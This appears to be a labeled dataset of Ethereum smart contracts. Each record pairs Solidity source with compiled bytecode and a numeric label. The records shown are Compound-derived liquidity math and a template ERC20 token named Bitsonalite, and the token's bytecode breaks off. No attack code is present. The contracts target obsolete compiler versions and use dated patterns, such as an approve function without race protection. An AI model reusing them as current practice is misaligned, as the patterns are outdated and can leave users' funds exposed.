REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint256 error, uint256 info, uint256 detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(
Error err,
FailureInfo info,
uint256 opaqueError
) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), opaqueError);
return uint256(err);
}
}
pragma solidity ^0.5.16;
//import "./CarefulMath.sol";
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint256 constant expScale = 1e18;
uint256 constant doubleScale = 1e36;
uint256 constant halfExpScale = expScale / 2;
uint256 constant mantissaOne = expScale;
struct Exp {
uint256 mantissa;
}
struct Double {
uint256 mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint256 num, uint256 denom)
internal
pure
returns (MathError, Exp memory)
{
(MathError err0, uint256 scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint256 rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b)
internal
pure
returns (MathError, Exp memory)
{
(MathError error, uint256 result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b)
internal
pure
returns (MathError, Exp memory)
{
(MathError error, uint256 result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint256 scalar)
internal
pure
returns (MathError, Exp memory)
{
(MathError err0, uint256 scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint256 scalar)
internal
pure
returns (MathError, uint256)
{
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (MathError, uint256) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint256 scalar)
internal
pure
returns (MathError, Exp memory)
{
(MathError err0, uint256 descaledMantissa) = divUInt(
a.mantissa,
scalar
);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint256 scalar, Exp memory divisor)
internal
pure
returns (MathError, Exp memory)
{
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint256 numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint256 scalar, Exp memory divisor)
internal
pure
returns (MathError, uint256)
{
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b)
internal
pure
returns (MathError, Exp memory)
{
(MathError err0, uint256 doubleScaledProduct) = mulUInt(
a.mantissa,
b.mantissa
);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint256 doubleScaledProductWithHalfScale) = addUInt(
halfExpScale,
doubleScaledProduct
);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint256 product) = divUInt(
doubleScaledProductWithHalfScale,
expScale
);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint256 a, uint256 b)
internal
pure
returns (MathError, Exp memory)
{
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(
Exp memory a,
Exp memory b,
Exp memory c
) internal pure returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b)
internal
pure
returns (MathError, Exp memory)
{
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
function safe224(uint256 n, string memory errorMessage)
internal
pure
returns (uint224)
{
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint256 a, uint256 b) internal pure returns (uint256) {
return add_(a, b, "addition overflow");
}
function add_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint256 a, uint256 b) internal pure returns (uint256) {
return sub_(a, b, "subtraction underflow");
}
function sub_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Exp memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Double memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint256 a, uint256 b) internal pure returns (uint256) {
return mul_(a, b, "multiplication overflow");
}
function mul_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Exp memory b) internal pure returns (uint256) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return
Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Double memory b) internal pure returns (uint256) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint256 a, uint256 b) internal pure returns (uint256) {
return div_(a, b, "divide by zero");
}
function div_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint256 a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
contract CToken {
/*** User Interface ***/
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function borrowRatePerBlock() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account)
external
view
returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getCash() external view returns (uint256);
function accrueInterest() external returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
}
contract getAccountLiquidity is Exponential, ComptrollerErrorReporter {
struct AccountLiquidityLocalVars {
uint256 sumCollateral;
uint256 sumBorrowPlusEffects;
uint256 cTokenBalance;
uint256 borrowBalance;
uint256 exchangeRateMantissa;
uint256 oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
function getHypotheticalAccountLiquidity(
address account,
CToken[] memory assets,
uint256[] memory collateralFactorMantissa,
uint256[] memory underlyingPrice
)
public
view
returns (
Error,
uint256,
uint256,
uint256,
uint256
)
{
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint256 oErr;
MathError mErr;
// For each asset the account is in
//CToken[] memory assets = accountAssets[account];
for (uint256 i = 0; i < assets.length; i++) {
CToken asset = assets[i];
// Read the balances and exchange rate from the cToken
(
oErr,
vars.cTokenBalance,
vars.borrowBalance,
vars.exchangeRateMantissa
) = asset.getAccountSnapshot(account);
if (oErr != 0) {
// semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (Error.SNAPSHOT_ERROR, 0, 0, 0, 0);
}
//vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.collateralFactor = Exp({mantissa: collateralFactorMantissa[i]});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
//vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
vars.oraclePriceMantissa = underlyingPrice[i];
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
(mErr, vars.tokensToDenom) = mulExp3(
vars.collateralFactor,
vars.exchangeRate,
vars.oraclePrice
);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0, 0, 0);
}
// sumCollateral += tokensToDenom * cTokenBalance
(mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(
vars.tokensToDenom,
vars.cTokenBalance,
vars.sumCollateral
);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0, 0, 0);
}
// sumBorrowPlusEffects += oraclePrice * borrowBalance
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(
vars.oraclePrice,
vars.borrowBalance,
vars.sumBorrowPlusEffects
);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0, 0, 0);
}
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (
Error.NO_ERROR,
vars.sumCollateral - vars.sumBorrowPlusEffects,
0,
vars.sumCollateral,
vars.sumBorrowPlusEffects
);
} else {
return (
Error.NO_ERROR,
0,
vars.sumBorrowPlusEffects - vars.sumCollateral,
vars.sumCollateral,
vars.sumBorrowPlusEffects
);
}
}
} | 0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806375bd917214610030575b600080fd5b61022e6004803603608081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561008357600080fd5b82018360208201111561009557600080fd5b803590602001918460208302840111640100000000831117156100b757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561011757600080fd5b82018360208201111561012957600080fd5b8035906020019184602083028401116401000000008311171561014b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101ab57600080fd5b8201836020820111156101bd57600080fd5b803590602001918460208302840111640100000000831117156101df57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061026e565b6040518086601181111561023e57fe5b60ff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b600080600080600061027e61098d565b60008060008090505b8b518110156105d25760008c828151811061029e57fe5b602002602001015190508073ffffffffffffffffffffffffffffffffffffffff1663c37f68e28f6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060806040518083038186803b15801561032557600080fd5b505afa158015610339573d6000803e3d6000fd5b505050506040513d608081101561034f57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919050505088604001896060018a60800183815250838152508381525083975050505050600084146103cd57600f60008060008083935082925081915080905099509950995099509950505050505061063a565b60405180602001604052808d84815181106103e457fe5b60200260200101518152508560c00181905250604051806020016040528086608001518152508560e001819052508a828151811061041e57fe5b60200260200101518560a001818152505060008560a00151141561046457600d60008060008083935082925081915080905099509950995099509950505050505061063a565b60405180602001604052808660a001518152508561010001819052506104988560c001518660e00151876101000151610645565b80905086610120018190528194505050600060038111156104b557fe5b8360038111156104c157fe5b146104ee57600b60008060008083935082925081915080905099509950995099509950505050505061063a565b610506856101200151866040015187600001516106ab565b866000018181525081945050506000600381111561052057fe5b83600381111561052c57fe5b1461055957600b60008060008083935082925081915080905099509950995099509950505050505061063a565b610571856101000151866060015187602001516106ab565b866020018181525081945050506000600381111561058b57fe5b83600381111561059757fe5b146105c457600b60008060008083935082925081915080905099509950995099509950505050505061063a565b508080600101915050610287565b5082602001518360000151111561061157600083602001518460000151036000856000015186602001518292509750975097509750975050505061063a565b600080846000015185602001510385600001518660200151839350975097509750975097505050505b945094509450945094565b600061064f6109f8565b60006106596109f8565b6106638787610716565b915091506000600381111561067457fe5b82600381111561068057fe5b146106925781819350935050506106a3565b61069c8186610716565b9350935050505b935093915050565b60008060006106b86109f8565b6106c28787610837565b91509150600060038111156106d357fe5b8260038111156106df57fe5b146106f55781600080905093509350505061070e565b610707610701826108b5565b866108d4565b9350935050505b935093915050565b60006107206109f8565b60008061073586600001518660000151610906565b915091506000600381111561074657fe5b82600381111561075257fe5b14610776578160405180602001604052806000815250809050935093505050610830565b6000806107956002670de0b6b3a76400008161078e57fe5b04846108d4565b91509150600060038111156107a657fe5b8260038111156107b257fe5b146107d85781604051806020016040528060008152508090509550955050505050610830565b6000806107ed83670de0b6b3a7640000610959565b91509150600060038111156107fe57fe5b82600381111561080a57fe5b1461081157fe5b6000604051806020016040528083815250809050975097505050505050505b9250929050565b60006108416109f8565b600080610852866000015186610906565b915091506000600381111561086357fe5b82600381111561086f57fe5b146108935781604051806020016040528060008152508090509350935050506108ae565b60006040518060200160405280838152508090509350935050505b9250929050565b6000670de0b6b3a76400008260000151816108cc57fe5b049050919050565b600080600083850190508481106108f25760008192509250506108ff565b6002600080905092509250505b9250929050565b60008060008414156109215760008080905091509150610952565b600083850290508385828161093257fe5b041461094957600260008090509250925050610952565b60008192509250505b9250929050565b6000806000831415610975576001600080905091509150610986565b600083858161098057fe5b04915091505b9250929050565b6040518061014001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016109cb610a0b565b81526020016109d8610a0b565b81526020016109e5610a0b565b81526020016109f2610a0b565b81525090565b6040518060200160405280600081525090565b604051806020016040528060008152509056fea265627a7a72315820ad7f3d8f1e369332f502d4ae26a8362087dbf557e34a665d058b34b14d471c2c64736f6c63430005100032 | [
38
] |
0xf3539a61edac12bed96b4907ee31acd26ebd4bd0 | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bitsonalite' contract
//
// Deployed to : 0x91a0008AfF6877578Cf0B62ca84257aCDA477f53
// Symbol : BSL
// Name : Bitsonalite
// Total supply: 3000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Bitsonalite is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bitsonalite () public {
symbol = "BSL";
name = "Bitsonalite";
decimals = 18;
_totalSupply = 3000000000000000000000000000;
balances[0x91a0008AfF6877578Cf0B62ca84257aCDA477f53] = _totalSupply;
Transfer(address(0),0x91a0008AfF6877578Cf0B62ca84257aCDA477f53, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a15780633eaaf86b146102d057806370a08231146102f957806379ba5097146103465780638da5cb5b1461035b57806395d89b41146103b0578063a293d1e81461043e578063a9059cbb1461047e578063b5931f7c146104d8578063cae9ca5114610518578063d05c78da146105b5578063d4ee1d90146105f5578063dc39d06d1461064a578063dd62ed3e146106a4578063e6cb901314610710578063f2fde38b14610750575b600080fd5b341561012257600080fd5b61012a610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610827565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610212610919565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610964565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610bf4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102db57600080fd5b6102e3610c07565b6040518082815260200191505060405180910390f35b341561030457600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c0d565b6040518082815260200191505060405180910390f35b341561035157600080fd5b610359610c56565b005b341561036657600080fd5b61036e610df5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b6104686004808035906020019091908035906020019091905050610eb8565b6040518082815260200191505060405180910390f35b341561048957600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed4565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b610502600480803590602001909190803590602001909190505061105d565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611081565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105df60048080359060200190919080359060200190919050506112cb565b6040518082815260200191505060405180910390f35b341561060057600080fd5b6106086112fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611322565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061146e565b6040518082815260200191505060405180910390f35b341561071b57600080fd5b61073a60048080359060200190919080359060200190919050506114f5565b6040518082815260200191505060405180910390f35b341561075b57600080fd